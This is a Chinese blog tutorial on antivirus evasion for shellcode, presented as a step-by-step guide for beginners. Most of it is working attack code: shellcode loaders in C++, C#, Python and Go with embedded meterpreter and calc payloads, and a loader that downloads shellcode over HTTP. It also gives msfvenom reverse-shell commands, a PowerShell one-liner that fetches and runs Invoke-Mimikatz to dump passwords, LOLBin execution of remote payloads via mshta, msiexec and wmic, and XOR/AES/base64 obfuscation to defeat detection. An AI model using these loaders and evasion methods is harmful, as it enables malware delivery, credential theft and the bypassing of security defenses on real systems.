首发先知: https://xz.aliyun.com/t/7170
自己还是想把一些shellcode免杀的技巧通过白话文、傻瓜式的文章把技巧讲清楚。希望更多和我一样web狗也能动手做到免杀的实现。
文中我将shellcode免杀技巧分为 "分离“、”混淆“两个大类,通过不同技巧针对不同检测方式,也就是常听到的特征检测、行为检测、云查杀。
个人能力有限,文中出现错误还请斧正、轻喷。
首先来看看关于shellcode常用得C/C++加载方式
常见方式比如函数指针执行、内联汇编指令、伪指令等方式。
但是这种shellcode明显 和执行程序在一起很容易被查杀
所以大多数分离免杀的思想就是把执行shellcode和加载程序分开。
来看看常见的分离加载 拿C++举例
正常使用像 VirtualAlloc 内存操作的函数执行shellcode :
#include "stdafx.h"
#include "windows.h"
using namespace std;
int main(int argc, char **argv)
{
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}
如果要把shellcode单独分离 我们可以通过其他当时获取到shellcode,而不是事先讲shellcode写死在程序中
举例:shellcode从文本提取或从远程下载获取。
这里就把shellcode通过http请求(使用winhttp api)获取赋值到内存缓存数组,动态分配内存执行shellcode:
#include "stdafx.h"
#include
#include
#include
#include
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
using namespace std;
void main()
{
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer = NULL;
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
BOOL bResults = FALSE;
hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession)
{
hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);
}
if (hConnect)
{
hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP\_NO\_REFERER, WINHTTP\_DEFAULT\_ACCEPT\_TYPES, 0);
}
LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";
SIZE\_T len = lstrlenW(header);
WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP\_ADDREQ\_FLAG\_ADD);
if (hRequest)
{
std::string data = "name=host&sign=xx11sad";
const void \*ss = (const char \*)data.c\_str();
bResults = WinHttpSendRequest(hRequest, 0, 0, const\_cast<void \*>(ss), data.length(), data.length(), 0);
////bResults=WinHttpSendRequest(hRequest,WINHTTP\_NO\_ADDITIONAL\_HEADERS, 0,WINHTTP\_NO\_REQUEST\_DATA, 0, 0, 0 );
}
if (bResults)
{
bResults = WinHttpReceiveResponse(hRequest, NULL);
}
if (bResults)
{
do
{
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
{
printf("Error %u in WinHttpQueryDataAvailable.\\n", GetLastError());
break;
}
if (!dwSize)
break;
pszOutBuffer = new char\[dwSize + 1\];
if (!pszOutBuffer)
{
printf("Out of memory\\n");
break;
}
ZeroMemory(pszOutBuffer, dwSize + 1);
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
{
printf("Error %u in WinHttpReadData.\\n", GetLastError());
}
else
{
printf("ok");
}
//char ShellCode\[1024\];
int code\_length = strlen(pszOutBuffer);
char\* ShellCode = (char\*)calloc(code\_length /2 , sizeof(unsigned char));
for (size\_t count = 0; count < code\_length / 2; count++){
sscanf(pszOutBuffer, "%2hhx", &ShellCode\[count\]);
pszOutBuffer += 2;
}
printf("%s", ShellCode);
//strcpy(ShellCode,pszOutBuffer);
void \*exec = VirtualAlloc(0, sizeof ShellCode, MEM\_COMMIT, PAGE\_EXECUTE\_READWRITE);
memcpy(exec, ShellCode, sizeof ShellCode);
((void(\*)())exec)();
delete\[\] pszOutBuffer;
if (!dwDownloaded)
break;
} while (dwSize > 0);
}
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
system("pause");
}
看下查杀情况: 去除shellcode后火绒已经不杀了
类似这种远程读取中还有很多 ,类如powershell内存加载,相信各位也没少用过
举例:powershell远程加载mimikatz读取密码
powershell IEX (New-Object Net.WebClient).DownloadString('
https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz >>c:\1.txt
类似的还有很多,不过这种用得很多内存加载有些杀软还是拦的,怎么解决我们文后面再说。
其实到这里,用的最多的语言加载器的原理不用说也知道了,这里还是解释下加载器,引用我同事对加载器的解释:
shellcode就好比一杯水,加载器就是装水的杯子,水倒进了杯子才可以喝,shellcode被加载器装载后才可以执行。
ssi:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.142 LPORT=4444 -f c > msf.txt
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of c file: 1457 bytes
cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a68c0a8ae84680200115c89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d285868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c240f8570ffffffe99bffffff01c329c675c1c3bbf0b5a2566a0053ffd5
shellcode_launcher:
c#加载:
using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{
class Program
{
static void Main(string[] args)
{
// native function’s compiled code
// generated with metasploit
byte[] shellcode = new byte[333] {
};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM\_COMMIT, PAGE\_EXECUTE\_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
private static UInt32 MEM\_COMMIT = 0x1000;
private static UInt32 PAGE\_EXECUTE\_READWRITE = 0x40;
\[DllImport("kernel32")\]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
\[DllImport("kernel32")\]
private static extern bool VirtualFree(IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType);
\[DllImport("kernel32")\]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
\[DllImport("kernel32")\]
private static extern bool CloseHandle(IntPtr handle);
\[DllImport("kernel32")\]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
\[DllImport("kernel32")\]
private static extern IntPtr GetModuleHandle(
string moduleName
);
\[DllImport("kernel32")\]
private static extern UInt32 GetProcAddress(
IntPtr hModule,
string procName
);
\[DllImport("kernel32")\]
private static extern UInt32 LoadLibrary(
string lpFileName
);
\[DllImport("kernel32")\]
private static extern UInt32 GetLastError();
}
}
py加载:
import base64,sys;
import ctypes
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
ctypes.windll.user32.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)
exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zMCcsODg4OCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))
go内联c加载:
package main
import "C"
import "unsafe"
func main() {
buf := ""
buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c"
…省略…
buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2"
// at your call site, you can send the shellcode directly to the C
// function by converting it to a pointer of the correct type.
shellcode := []byte(buf)
C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}
资源加载:
CPLResourceRunner
cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt
用Cobalt Strike 生成shellcode
Attacks -> Packages -> Windows Executable (s) -> Output => RAW (x86)
py -2 ConvertShellcode.py beacon.bin
Shellcode written to shellcode.txt
0x4d,0x5a,0x41,0x52,0x55,0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x00,0x00,0x00,0x48,0x8d,0x1d,0xea,0xff,0xff,0xff,0x48,0x89,0xdf,0x48,0x81,0xc3,0x7c,0x79,0x01,0x00,0xff,0xd3,0x41,0xb8,0xf0,0xb5,0xa2,0x56,0x68,0x04,0x00,0x00,0x00,0x5a,0x48,0x89,0xf9,0xff,0xd0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x00,0x00,0x00,0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc9,0xdb,0x6e,0xe9,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0xeb,0x54,0xd2,0xba,0x15,0xba,0x00,0xba,0x13
cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d 'n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt
H4sIAPGjM14AA/ONcgwK9eh86tH4RoGBgcGjV/bV////PTrvezQerqlkZPh/2XHHh62LwjJYgLJR
Hp0//19ggIEfQMwnv4uPYQvnWcUdjD5nFUMyMosVCory04sScxWSE/Py8ksUklIVikrzFDLzFFz8
gxVy81NS9Xi5VKBGnLyd97J3F8MuGH4dcmmXKJAWBgD9vO6hmAAAAA==
Compile to x86 and copy CPLResourceRunner.dll to RunMe.cpl
powershell加载(MMFml):
namespace mmfExeTwo
{
using System;
using System.IO.MemoryMappedFiles;
using System.Runtime.InteropServices;
class Program
{
private delegate IntPtr NewDelegate();
// To handle the location by applying the appropriate type
// We had to create a delegate to handle the the pointer to the location where we shim in the shellcode
// into the Memory Mapped File. This allows the location of the opp code to be referenced later for execution
private unsafe static IntPtr GetShellMemAddr()
{
// 64bit shell code. Tested on a win10 system. Injects "cmd -k calc"
// was generated vanilla using "msfvenom -p windows/exec CMD="cmd /k calc" EXITFUNC=thread C -f powershell"
var shellcode = new byte\[\]
{
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00
};
MemoryMappedFile mmf = null;
MemoryMappedViewAccessor viewaccessor = null;
try
{
/\* The try block creates the MMF and assigns the RWE permissions
The view accessor is created with matching permissions
the shell code from GetShellMemAddr is written to MMF
then the pointer is gained and a delegate is created to handle pointer value
so that it can be passed in therms of the returned function \*/
mmf = MemoryMappedFile.CreateNew("\_\_shellcode", shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);
viewaccessor = mmf.CreateViewAccessor(0, shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);
viewaccessor.WriteArray(0, shellcode, 0, shellcode.Length);
var pointer = (byte\*)0;
viewaccessor.SafeMemoryMappedViewHandle.AcquirePointer(ref pointer);
var func = (NewDelegate)Marshal.GetDelegateForFunctionPointer(new IntPtr(pointer), typeof(NewDelegate));
return func();
}
catch
{
return IntPtr.Zero;
}
finally // You should always clean up after yourself :)
{
viewaccessor.Dispose();
mmf.Dispose();
}
}
static void Main(string\[\] args)
{
GetShellMemAddr();
}
}
}
msfvenom -p windows/x64/exec CMD="cmd.exe -c calc.exe" -f csharp
Invoke-MMFml
加载器就到这里吧,加载器的实现有能力可以自己造轮子,免杀效果非常不错的。
除了加载器这种"杯子和水"的分离的思想,个人认为还具有"分离"免杀思想的就是Lolbins,也就是白名单。
下面例举一些白利用,这种分离多半是因为杀行为特征,比如你这个程序运行上下文不应该访问某个api,这种就会被捕获,而白利用就是绕过这种行为捕获,而这种白利用中有的shellcode或执行文件还是会落地被查杀,这个文后部分会提到,先来看白利用。
LOLBins,全称“Living-Off-the-Land Binaries”,直白翻译为“生活在陆地上的二进制“,这个概念最初在2013年DerbyCon黑客大会由Christopher Campbell和Matt Graeber进行创造,最终Philip Goh提出了LOLBins这个概念。 说白了就是白利用 ,举个例子
DarkHydrus APT样本
MD5:B108412F1CDC0602D82D3E6B318DC634
使用到的启动命令:cscript.exe “C:\Users\Public\Documents\ OfficeUpdateService.vbs”
这里就用了cscript加载vbs 添加开机启动项,启动脚本。
mshta:
payload:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.134 LPORT=53 -f raw > shellcode.bin
cat shellcode.bin |base64 -w 0
mshta.exe http://192.168.174.134 /qing.hta
替换模板:
https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta
tshellcode替换位置:
Msiexec:
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=4444 - f msi > qing.txt
C:\Windows\System32\msiexec.exe /q /i http://192.168.174.134 /qing.txt
加载dll:
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=53 - f dll > qing.dll
msiexec /y C:\qing.dll
Msbuild:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe qing.xml
模板用三好师傅的:
https://github.com/3gstudent/msbuild-inline-task
Installutil
编译:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:qing.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe C:\Users\John\Desktop\installutil.cs
执行:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U qing.exe
详细:
https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/
wmic:
wmic os get /FORMAT:"http://example.com/evil.xsl"
模板:
https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl
csc:
msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.174.132 LPORT=53 ‐ f csharp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs
通过IInstallutil执行即可
白利用就不列举更多了,其他一些白利用也是一个道理,那么问题来了,前面说的白利用执行某些时候我们的shellcode生成的exe或者dll还是会落地,
虽然前面说的内存加载可以解决这个问题,那假设必须落地,怎么逃过各种检测呢?
这就是我归为免杀的第二个方式大类,混淆免杀。
shellcode是否可以像php一句话那样混淆、加密、拆分呢
还是从最简单的举例子开始
xor异或加密shellcode后,申请内存执行,和文开头执行shell从的方式无区别
这里拿C# xor为例子(ShellcodeWrapper):
using System;
using System.IO;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
namespace RunShellCode
{
static class Program
{
//==============================================================================
// CRYPTO FUNCTIONS
//==============================================================================
private static T[] SubArray
{
T[] result = new T[length];
Array.Copy(data, index, result, 0, length);
return result;
}
private static byte\[\] xor(byte\[\] cipher, byte\[\] key) {
byte\[\] decrypted = new byte\[cipher.Length\];
for(int i = 0; i < cipher.Length; i++) {
decrypted\[i\] = (byte) (cipher\[i\] ^ key\[i % key.Length\]);
}
return decrypted;
}
//--------------------------------------------------------------------------------------------------
// Decrypts the given a plaintext message byte array with a given 128 bits key
// Returns the unencrypted message
//--------------------------------------------------------------------------------------------------
private static byte\[\] aesDecrypt(byte\[\] cipher, byte\[\] key)
{
var IV = cipher.SubArray(0, 16);
var encryptedMessage = cipher.SubArray(16, cipher.Length - 16);
// Create an AesManaged object with the specified key and IV.
using (AesManaged aes = new AesManaged())
{
aes.Padding = PaddingMode.PKCS7;
aes.KeySize = 128;
aes.Key = key;
aes.IV = IV;
using (MemoryStream ms = new MemoryStream())
{
using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(encryptedMessage, 0, encryptedMessage.Length);
}
return ms.ToArray();
}
}
}
//==============================================================================
// MAIN FUNCTION
//==============================================================================
static void Main()
{
byte\[\] encryptedShellcode = new byte\[\] { 0x8d,0x81,0xec,0x67,0x71,0x69,0x0e,0xee,0x94,0x58,0xae,0x03,0xfa,0x39,0x5e,0xec,0x23,0x65,0xe5,0x35,0x65,0xe2,0x1c,0x4f,0x7e,0xde,0x24,0x41,0x40,0x96,0xc2,0x5b,0x10,0x15,0x6c,0x4b,0x51,0xa8,0xa1,0x6a,0x70,0xae,0x8c,0x95,0x23,0x3e,0xe5,0x35,0x61,0xe2,0x24,0x5b,0xfa,0x25,0x7f,0x1f,0x92,0x21,0x6f,0xb6,0x20,0xe2,0x37,0x47,0x70,0xba,0xe5,0x2e,0x69,0x8a,0x54,0x2e,0xfa,0x5d,0xe5,0x66,0xa7,0x58,0x91,0xcb,0xb0,0xa6,0x63,0x66,0xb6,0x51,0x8e,0x12,0x87,0x6a,0x13,0x9f,0x4a,0x14,0x4a,0x12,0x95,0x31,0xe5,0x3f,0x55,0x68,0xbd,0x01,0xfa,0x65,0x25,0xec,0x29,0x75,0x6f,0xb4,0xfa,0x6d,0xe5,0x66,0xa1,0xe0,0x2a,0x43,0x55,0x32,0x35,0x06,0x28,0x33,0x3f,0x98,0x91,0x36,0x31,0x3d,0xfa,0x7b,0x85,0xea,0x2c,0x01,0x5d,0x55,0x71,0x69,0x06,0x10,0x02,0x5b,0x31,0x33,0x19,0x25,0x19,0x41,0x76,0xe0,0x86,0x98,0xa1,0xd1,0xfe,0x66,0x71,0x69,0x47,0xa3,0x25,0x39,0x06,0x4e,0xf1,0x02,0x6e,0x98,0xa4,0x03,0x64,0x0f,0xb1,0xc1,0xc0,0xe9,0x19,0x6b,0x6e,0x76,0x2d,0xe0,0x88,0x37,0x21,0x39,0x3e,0x27,0x21,0x29,0x3e,0x0f,0x9b,0x66,0xb1,0x87,0x8e,0xbc,0xf9,0x0d,0x61,0x3f,0x39,0x0f,0xe8,0xcc,0x1a,0x06,0x8e,0xbc,0xeb,0xa7,0x05,0x63,0x91,0x29,0x79,0x1c,0x82,0x8f,0x16,0x69,0x6e,0x67,0x1b,0x69,0x04,0x63,0x27,0x3e,0x06,0x65,0xa8,0xa1,0x31,0x98,0xa4,0xea,0x96,0x67,0x0f,0x5f,0xe5,0x51,0x1b,0x29,0x06,0x67,0x61,0x69,0x6e,0x31,0x1b,0x69,0x06,0x3f,0xd5,0x3a,0x8b,0x98,0xa4,0xfa,0x3d,0x0d,0x71,0x3f,0x3d,0x30,0x19,0x6b,0xb7,0xaf,0x2e,0x96,0xbb,0xe4,0x89,0x69,0x13,0x4f,0x29,0x01,0x6e,0x27,0x71,0x69,0x04,0x67,0x21,0x01,0x65,0x48,0x7e,0x59,0x91,0xb2,0x26,0x01,0x1b,0x09,0x3c,0x08,0x91,0xb2,0x2f,0x37,0x91,0x6b,0x55,0x66,0xeb,0x17,0x8e,0x96,0x91,0x8e,0xea,0x96,0x91,0x98,0x70,0xaa,0x47,0xa1,0x04,0xa8,0xad,0xdc,0x81,0xdc,0xcc,0x31,0x1b,0x69,0x3d,0x98,0xa4 };
string key = "qing";
string cipherType = "xor";
byte\[\] shellcode = null;
//--------------------------------------------------------------
// Decrypt the shellcode
if (cipherType == "xor") {
shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key));
}
else if (cipherType == "aes") {
shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key));
}
//--------------------------------------------------------------
// Copy decrypted shellcode to memory
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM\_COMMIT, PAGE\_EXECUTE\_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// Prepare data
IntPtr pinfo = IntPtr.Zero;
// Invoke the shellcode
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
private static UInt32 MEM\_COMMIT = 0x1000;
private static UInt32 PAGE\_EXECUTE\_READWRITE = 0x40;
// The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject
\[DllImport("kernel32")\]
private static extern UInt32 VirtualAlloc(
UInt32 lpStartAddr,
UInt32 size,
UInt32 flAllocationType,
UInt32 flProtect
);
\[DllImport("kernel32")\]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
\[DllImport("kernel32")\]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
}
}
其他语言也是一样,比如py 异或编码、base64、十六进制这些都是可以的
py Base64(k8gege):
import ctypes
import sys
import base64
#calc.exe
#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
py 十六进制(k8gege):
#scrun by k8gege
import ctypes
import sys
#calc.exe
#sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"
shellcode=bytearray(sys.argv[1].decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
还有一款编码的工具也好用,安利一下:
https://github.com/ecx86/shellcode_encoder
那么这是利用语言对shellcode编码,也可以选择生成的时候对shellcode编码。
举例msfvenom:
